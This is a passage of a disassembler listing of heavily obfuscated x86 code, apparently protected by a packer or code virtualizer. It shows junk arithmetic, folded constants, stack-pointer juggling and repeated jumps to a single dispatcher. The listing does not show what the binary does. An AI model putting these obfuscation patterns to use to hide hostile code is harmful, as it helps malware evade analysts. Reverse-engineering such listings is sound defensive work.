; ---------------------------------------------------------------------------


loc_593363:				; CODE XREF: sdfs____:00593E8Dj
		mov	eax, 0C1179CCAh
		jmp	loc_598D0E
; ---------------------------------------------------------------------------


loc_59336D:				; CODE XREF: sdfs____:00594C29j
		mov	edi, esp
		jmp	loc_590F20
; ---------------------------------------------------------------------------


loc_593374:				; CODE XREF: sdfs____:005964FEj
		add	eax, 4
		sub	eax, 4
		jmp	loc_593F0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_593381:				; CODE XREF: sub_59841F-9058j
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58CDC4
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59339E:				; CODE XREF: sub_591370-4FBDj
		push	edx
		mov	dl, 0FAh
		push	cx
		mov	ch, dl
		jmp	loc_58FBFE
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_5933AA:				; CODE XREF: sub_59377D+2EE5j
		shl	edi, 8
		inc	edi
		add	edi, 9C84F303h
		jmp	loc_596228
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5933B9:				; CODE XREF: sub_591435+38AEj
					; sub_5917C0+3F66j
		push	685Ah
		mov	[esp+0Eh+var_10+2], ebp
		push	[esp+0Eh+var_C+2]
		pop	ebp
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		or	eax, eax
		jz	sub_594228
		push	dword ptr [edi+1Ch]
		push	169Ch
		mov	[esp+8+var_8], esi
		mov	esi, 729033C6h
		xor	[esp+8+var_4], esi
		pop	esi
		jmp	loc_593291
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5933EE:				; CODE XREF: sub_594228+2113j
		add	eax, edi
		push	ebx
		mov	ebx, 0
		sub	ebx, 4F183967h
		add	ebx, 65E26291h
		add	ebx, eax
		push	esi
		mov	esi, 379D3704h
		jmp	loc_58D48E
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59340F:				; CODE XREF: sdfs____:00597FF9j
		push	edi
		jmp	loc_595880
; ---------------------------------------------------------------------------


loc_593415:				; CODE XREF: sdfs____:00593A33j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_596D10
; ---------------------------------------------------------------------------


loc_593427:				; CODE XREF: sdfs____:00591270j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	esi
		mov	esi, 7B566EDEh
		mov	edi, 967500E2h
		add	edi, esi
		pop	esi
		not	edi
		jmp	loc_594BFB
; ---------------------------------------------------------------------------


loc_593452:				; CODE XREF: sdfs____:005962BFj
					; sdfs____:005966B8j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_595B0E
; ---------------------------------------------------------------------------


loc_59345D:				; CODE XREF: sdfs____:0059259Aj
		xor	ecx, ebp
		jmp	loc_58E390
; ---------------------------------------------------------------------------


loc_593464:				; CODE XREF: sdfs____:0058C8FBj
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	$+5
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_592ABD
; ---------------------------------------------------------------------------


loc_593489:				; CODE XREF: sdfs____:loc_58CE8Fj
		neg	eax
		jns	loc_5983C6
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		mov	dl, dl
		add	al, 6Dh
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59349D:				; CODE XREF: sub_594228:loc_58E498j
		sub	edx, 3E5D725h
		push	edx
		pop	esi
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_58F637
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5934AD:				; CODE XREF: sdfs____:0058DDDBj
		and	ecx, 0B4405ABh
		add	ecx, 0CD3476Fh
		add	esi, ecx
		pop	ecx
		or	[edi+1Ch], esi
		jmp	loc_593092
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5934C4:				; CODE XREF: sub_5917C0-18CAj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_5905D7
; END OF FUNCTION CHUNK	FOR sub_5917C0

; =============== S U B	R O U T	I N E =======================================



sub_5934D7	proc near		; CODE XREF: sub_591435+4D9Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592AC5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005976DD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059806C SIZE 00000026 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_59806C
sub_5934D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5934E7:				; CODE XREF: sub_591370:loc_58FBFEj
		add	esi, 0AD4ECA24h
		push	eax
		mov	eax, 18C9750Ch
		and	eax, 1A885C58h
		not	eax
		sub	eax, 0DC47A34Dh
		xor	esi, eax
		jmp	loc_593799
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_593506:				; CODE XREF: sdfs____:0058D2F0j
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_597D34
; ---------------------------------------------------------------------------


loc_593517:				; CODE XREF: sdfs____:0058D68Ej
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 2
		push	ebp
		mov	ebp, 69B4700h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 10B20A57h
		add	ebx, ecx
		add	ebx, 10B20A57h
		push	ecx
		push	eax
		push	edi
		mov	edi, 3EAB4D4Eh
		mov	eax, edi
		pop	edi
		mov	ecx, 5E54A78Bh
		sub	ecx, eax
		pop	eax
		not	ecx
		inc	ecx
		xor	ecx, 41161445h
		neg	ecx
		xor	ecx, 5824097Ah
		push	ecx
		jmp	loc_5946F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593566:				; CODE XREF: sub_591370:loc_59025Aj
		inc	eax
		jge	loc_59381D
		inc	eax
		jno	loc_58DCF3
		jl	loc_5984C0
		push	esp


loc_59357B:				; CODE XREF: sdfs____:0058DC1Fj
		add	al, 18h
		xor	cl, al
		pop	eax
		add	cl, 0A4h
		push	edx
		mov	dh, 0AAh
		jmp	loc_5906AC
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59358B:				; CODE XREF: sdfs____:0058FD5Aj
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_596CAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_593595:				; CODE XREF: sub_5917C0+B4Ej
		add	ecx, 2
		jmp	loc_58BFD0
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59359D:				; CODE XREF: sdfs____:0058BE73j
		add	esi, 9CFD285Dh
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5935D6:				; CODE XREF: sdfs____:0058BED8j
		mov	esi, 913E817Fh
		sub	ebx, esi
		pop	esi
		sub	ebp, ebx
		jmp	loc_593F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_5935E5:				; CODE XREF: sub_5985AE-B19Bj
		xor	edx, 7B1959F4h
		inc	edx
		jmp	loc_593BB0
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_5935F1:				; CODE XREF: sdfs____:00592B41j
		sub	ebp, 0C3A2EFA9h
		mov	esi, ebp
		pop	ebp
		add	esi, 131013E6h
		add	esi, 7C7D4310h
		add	esi, 2AFE80A0h
		add	ecx, 23006140h
		add	ecx, esi
		jmp	loc_58E945
; ---------------------------------------------------------------------------


loc_593619:				; CODE XREF: sdfs____:00595357j
		pop	edi
		push	esi
		mov	esi, 658A69CBh
		push	7C6h
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5985B5
; ---------------------------------------------------------------------------


loc_593631:				; CODE XREF: sdfs____:0058DC84j
		not	ebx
		and	ebx, 1EB84A65h
		sub	ebx, 1EB84A5Dh
		mov	edx, ebx
		pop	ebx
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_593647:				; CODE XREF: sdfs____:005952E8j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_597DD0
; ---------------------------------------------------------------------------


loc_59365B:				; CODE XREF: sdfs____:005940C4j
		sub	esp, 4
		jmp	loc_598477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593666:				; CODE XREF: sub_594228-3853j
		add	esp, 4
		push	5712h
		mov	[esp+6+var_8+2], ebx
		push	5A90h
		mov	[esp+0Ah+var_C+2], esi
		push	3B760301h
		pop	esi
		neg	esi
		shr	esi, 2
		js	loc_59579E
		sub	esi, 27B10321h
		sub	esp, 4
		jmp	loc_590745
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5920A6


loc_593698:				; CODE XREF: sub_5920A6+554Bj
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5920A6

; =============== S U B	R O U T	I N E =======================================



sub_59369D	proc near		; CODE XREF: sub_594F18-933Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C5B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059066B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005921AF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005925E6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00594D2D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596850 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597B6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598CC1 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 5F851F08h
		push	edx
		push	571C10FDh
		jmp	loc_598CC1
sub_59369D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_5936B6:				; CODE XREF: sub_58E92A+4940j
		push	small 1043h
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 8EAh
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5936D4:				; CODE XREF: sdfs____:00596FF1j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_596E3B
; ---------------------------------------------------------------------------


loc_5936E7:				; CODE XREF: sdfs____:00590A43j
		pop	edx
		sub	esp, 4
		jmp	loc_5922CC
; ---------------------------------------------------------------------------


loc_5936F3:				; CODE XREF: sdfs____:loc_59329Cj
		push	esi
		mov	esi, 40B13C1Ch
		dec	esi
		jmp	loc_59510C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_5936FF:				; CODE XREF: sub_5962EB+1Fj
		jb	loc_59241F
		or	edx, 73EA338Ch
		jns	loc_591FD9
		mov	dh, 50h
		pop	esp


loc_593714:				; CODE XREF: sdfs____:0058EB9Fj
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		jmp	loc_59184C
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593720:				; CODE XREF: sub_591370:loc_594D19j
		dec	bh
		jnp	loc_591D0B
		add	bh, 0DEh
		jmp	loc_58C4EB
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_593730:				; CODE XREF: sub_58BC4E+53DFj
		push	7632h
		mov	[esp+4+var_4], eax
		jmp	sub_58BAD7
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_59373D:				; CODE XREF: sdfs____:0059111Dj
		sub	esp, 4
		jmp	loc_58FEE0
; ---------------------------------------------------------------------------


loc_593745:				; CODE XREF: sdfs____:0058F623j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_58BDB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593751:				; CODE XREF: sub_594228+30B3j
		shl	edx, 1
		push	ecx
		push	24h
		pop	ecx
		add	ecx, 4AD11602h
		add	ecx, 0DAE71C4h
		add	ecx, edi
		push	ebx
		jmp	loc_59399B
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_59376E:				; CODE XREF: sdfs____:005952BCj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_58B9C5

; =============== S U B	R O U T	I N E =======================================



sub_59377D	proc near		; CODE XREF: sdfs____:0058EBAAj
					; sub_592BDC+6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058D8F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E4E2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058F640 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FDF1 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00591DD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005928F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592A59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005933AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005942E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595001 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596228 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00596644 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00596F84 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005981DC SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		push	0D0E7C85h
		pop	ecx
		jmp	loc_5942E5
sub_59377D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_593791:				; CODE XREF: sub_5941BD-47CBj
		pop	esi
		add	ecx, eax
		jmp	loc_5958BA
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593799:				; CODE XREF: sub_591370+2191j
		pop	eax
		add	edi, esi
		pop	esi
		push	edi
		push	[esp-14h+arg_14]
		pop	edi
		pop	[esp-14h+arg_10]
		pop	esp
		mov	ecx, [esp-1Ch+arg_18]
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59015F
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_58DECE
; ---------------------------------------------------------------------------


loc_5937C6:				; CODE XREF: sdfs____:0059862Fj
		add	ebx, 1A414DAEh
		jmp	loc_5967B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5937D1:				; CODE XREF: sub_591435+6AFEj
		inc	esi
		jle	loc_598935
		xor	esi, 8DCBE173h
		mov	ecx, esi
		jmp	loc_58DCDA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5937E5:				; CODE XREF: sub_594228-6269j
		or	eax, eax
		jnz	sub_5985AE
		push	23F0h
		mov	[esp-6+arg_0+2], ecx
		push	ebp
		mov	ebp, 6F4F29DFh
		push	eax
		mov	eax, ebp
		mov	ecx, eax
		pop	eax
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5951A5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59380F:				; CODE XREF: sub_5941BD+3878j
		shr	ebx, 7
		or	ebx, 6ACD0CD4h
		jmp	loc_58D74D
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59381D:				; CODE XREF: sub_591370+21F7j
		inc	eax
		jno	loc_59007E
		jmp	loc_595BEE
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		pop	esi
		jmp	loc_59124F
; ---------------------------------------------------------------------------
		mov	cl, ch
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_593832:				; CODE XREF: sub_59576E-4B6Cj
		push	eax
		push	edi
		mov	edi, 305913C7h
		sub	edi, 0D5BA0FD8h
		jmp	loc_596810
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59544A
; ---------------------------------------------------------------------------


loc_59384D:				; CODE XREF: sdfs____:0058D7BAj
		push	3CE1h
		jmp	loc_5966C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593857:				; CODE XREF: sub_591370-3B3Ej
		xor	edx, 55AF0F1Ch
		sub	edi, edx
		pop	edx
		jmp	loc_5944E4
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_593865:				; CODE XREF: sdfs____:00594E06j
		add	eax, 262611A1h
		push	ebx
		mov	ebx, 703200D0h
		jmp	loc_59675C
; ---------------------------------------------------------------------------


loc_593875:				; CODE XREF: sdfs____:00590059j
		xor	edi, 7AF8577Bh
		shl	edi, 2
		dec	edi
		xor	edi, 5B7E8843h
		jmp	loc_59814F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59388A:				; CODE XREF: sub_5962EB-A16Aj
		add	esp, 4
		jmp	loc_59548C
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_593892:				; CODE XREF: sdfs____:005956A6j
		xchg	esi, [esp]
		jmp	loc_58F223
; ---------------------------------------------------------------------------


loc_59389A:				; CODE XREF: sdfs____:0059416Ej
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 6A72h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592F43


loc_5938C6:				; CODE XREF: sub_592F43-702Aj
		mov	esp, [esp+0]
		or	eax, eax
		jnz	loc_592A88
		push	26ABh
		jmp	loc_58C774
; END OF FUNCTION CHUNK	FOR sub_592F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_5938DB:				; CODE XREF: sub_59214E-5B32j
					; sub_58BAD7+66B2j
		mov	ecx, edx
		jmp	loc_58BCF7
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_5938E2:				; CODE XREF: sdfs____:00593FABj
		push	ecx
		push	eax
		jmp	loc_598864
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5938E9:				; CODE XREF: sub_591435-1E80j
		mov	[esp+0], ebx
		push	esp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	ebx, 4
		push	ecx
		push	ebp
		mov	ebp, 362248F6h
		jmp	loc_58EB07
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593910:				; CODE XREF: sub_591435+68Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_58D702
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_593924:				; CODE XREF: sdfs____:005946FCj
		inc	ecx
		xor	ecx, 0BBF3F72h
		add	ebx, ecx
		pop	ecx
		sub	ebx, ecx
		sub	ebx, 482B3B71h
		pop	ecx
		jmp	loc_58E5D2
; ---------------------------------------------------------------------------


loc_59393C:				; CODE XREF: sdfs____:0058F02Aj
		not	dl
		xor	dl, 21h
		dec	dl
		sub	dl, 0E5h
		sub	dl, 2Eh
		jmp	loc_591C42
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_596F74
; ---------------------------------------------------------------------------


loc_59395D:				; CODE XREF: sdfs____:005900CBj
		mov	edx, 2
		mov	edi, edx
		jmp	loc_5904D2
; ---------------------------------------------------------------------------


loc_593969:				; CODE XREF: sdfs____:00598C00j
		shl	ecx, 6
		dec	ecx
		xor	ecx, 5FB417AAh
		add	ecx, 0F3B9244Fh
		and	ebp, ecx
		pop	ecx
		add	ebp, 8885647h
		xor	ebp, 61F247F8h
		sub	ecx, 85D7203h
		sub	ecx, ebp
		add	ecx, 85D7203h
		jmp	loc_5964C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59399B:				; CODE XREF: sub_594228-ABFj
		mov	ebx, 0DAE71C4h
		sub	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_58F473
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	ebp
		push	2659h
		mov	[esp], edi
		mov	edi, 4E055E4Dh
		not	edi
		sub	edi, 462F3D10h
		jl	loc_58EA5D
		add	edi, 5C8240EAh
		jmp	sub_59587A
; ---------------------------------------------------------------------------
		mov	[esp], ecx
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5939D3:				; CODE XREF: sub_58D9A7+3F5Aj
					; sub_591435+6B05j
		push	ecx
		mov	ecx, 4
		sub	eax, 3DB2365Ah
		add	eax, ecx
		add	eax, 3DB2365Ah
		pop	ecx
		push	eax
		push	[esp+10h+var_C]
		pop	eax
		jmp	loc_5963D8
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		push	5F41h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 45BF7B6Bh
		sub	esi, 1
		sub	esi, 45BF7B66h
		sub	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_58FB75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593A28:				; CODE XREF: sub_594228+157Fj
		mov	[esp+16h+var_18+2], edx
		jmp	loc_59831B
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_593A30:				; CODE XREF: sdfs____:00598D8Bj
		add	edi, ebx
		pop	ebx
		jmp	loc_593415
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_593A38:				; CODE XREF: sub_594228-672Aj
		and	ebx, 22C341Bh
		inc	ebx
		jge	loc_58BD57
		shl	ebx, 5
		push	edx
		mov	edx, 671E7C0Ah
		push	esi


loc_593A4F:				; CODE XREF: sdfs____:005926E0j
		sub	ebx, 15A23DCCh
		pop	edx
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		imul	cl
		movzx	cx, ah
		jmp	sub_59666E
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593A67:				; CODE XREF: sub_591435-26B9j
		add	esp, 4
		add	ebx, 4
		jmp	loc_593B98
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_593A75:				; CODE XREF: sub_595678-B50j
		sub	ecx, 34BE6FE6h
		shl	ecx, 6
		push	eax
		jmp	loc_592C22
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------


loc_593A84:				; CODE XREF: sdfs____:00592FABj
		mov	ecx, 26B502DEh
		sub	esp, 4
		jmp	loc_594D69
; ---------------------------------------------------------------------------


loc_593A91:				; CODE XREF: sdfs____:0058E980j
		pop	eax
		jmp	loc_58E748
; ---------------------------------------------------------------------------


loc_593A97:				; CODE XREF: sdfs____:0058DC3Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	508Dh
		mov	[esp], edi
		jmp	loc_5940A4
; ---------------------------------------------------------------------------


loc_593AB3:				; CODE XREF: sdfs____:00595791j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58EBAF
; ---------------------------------------------------------------------------


loc_593AC1:				; CODE XREF: sdfs____:0059223Cj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593AC6:				; CODE XREF: sub_591370+77B0j
		push	[esp-1Ch+arg_18]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-18h+arg_14]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_591370
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593ADA:				; CODE XREF: sub_591435+6FFDj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59828A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_593AE7:				; CODE XREF: sdfs____:0058BCB9j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5984ED
; ---------------------------------------------------------------------------


loc_593AF3:				; CODE XREF: sdfs____:00591DD3j
		mov	ecx, 577F01E2h
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ecx, edx
		pop	edx
		and	ecx, 24E22AE3h
		sub	ecx, 1A250DFAh
		push	edx
		jmp	loc_5945CA
; ---------------------------------------------------------------------------


loc_593B16:				; CODE XREF: sdfs____:0058EC92j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6F952A9Dh
		push	906AD565h
		pop	esi
		sub	esi, 0AD47462h
		sub	esi, 3A89781Eh
		add	esi, edi
		add	esi, 3A89781Eh
		jmp	loc_58E634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593B43:				; CODE XREF: sub_591370+11BAj
		shl	ebp, 4
		xor	ebp, 0FC307F90h
		jmp	loc_591FFB
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_593B51:				; CODE XREF: sub_59841F-C8ECj
					; sub_591435-2685j
		dec	ecx
		jge	loc_58C3F6
		shl	ecx, 4
		jmp	loc_595123
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
		push	298Eh
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_591370


loc_593B66:				; CODE XREF: sub_591370+4FB7j
		pop	[esp-1Ch+arg_18]
		pop	esp
		btr	[esp+0], ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_593B75:				; CODE XREF: sub_5941BD+497Ej
		shl	eax, 1
		sub	eax, 243D470Ah
		mov	ebx, eax
		pop	eax
		and	ebx, 44B35AABh
		jmp	loc_59641B
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_593B8A:				; CODE XREF: sub_5917C0+14A4j
		sub	esi, 0F8F81BC6h
		mov	edi, esi
		pop	esi
		jmp	loc_598566
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_593B98:				; CODE XREF: sub_591435+263Bj
		xchg	ebx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	0DD9h
		mov	[esp+0], ebx
		mov	bl, 56h
		push	ebx
		mov	bl, 7Eh
		jmp	loc_59799B
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_593BB0:				; CODE XREF: sub_5985AE-4FC2j
		inc	edx
		sub	edx, 0BE2829CCh
		sub	ebx, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_597D2C
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


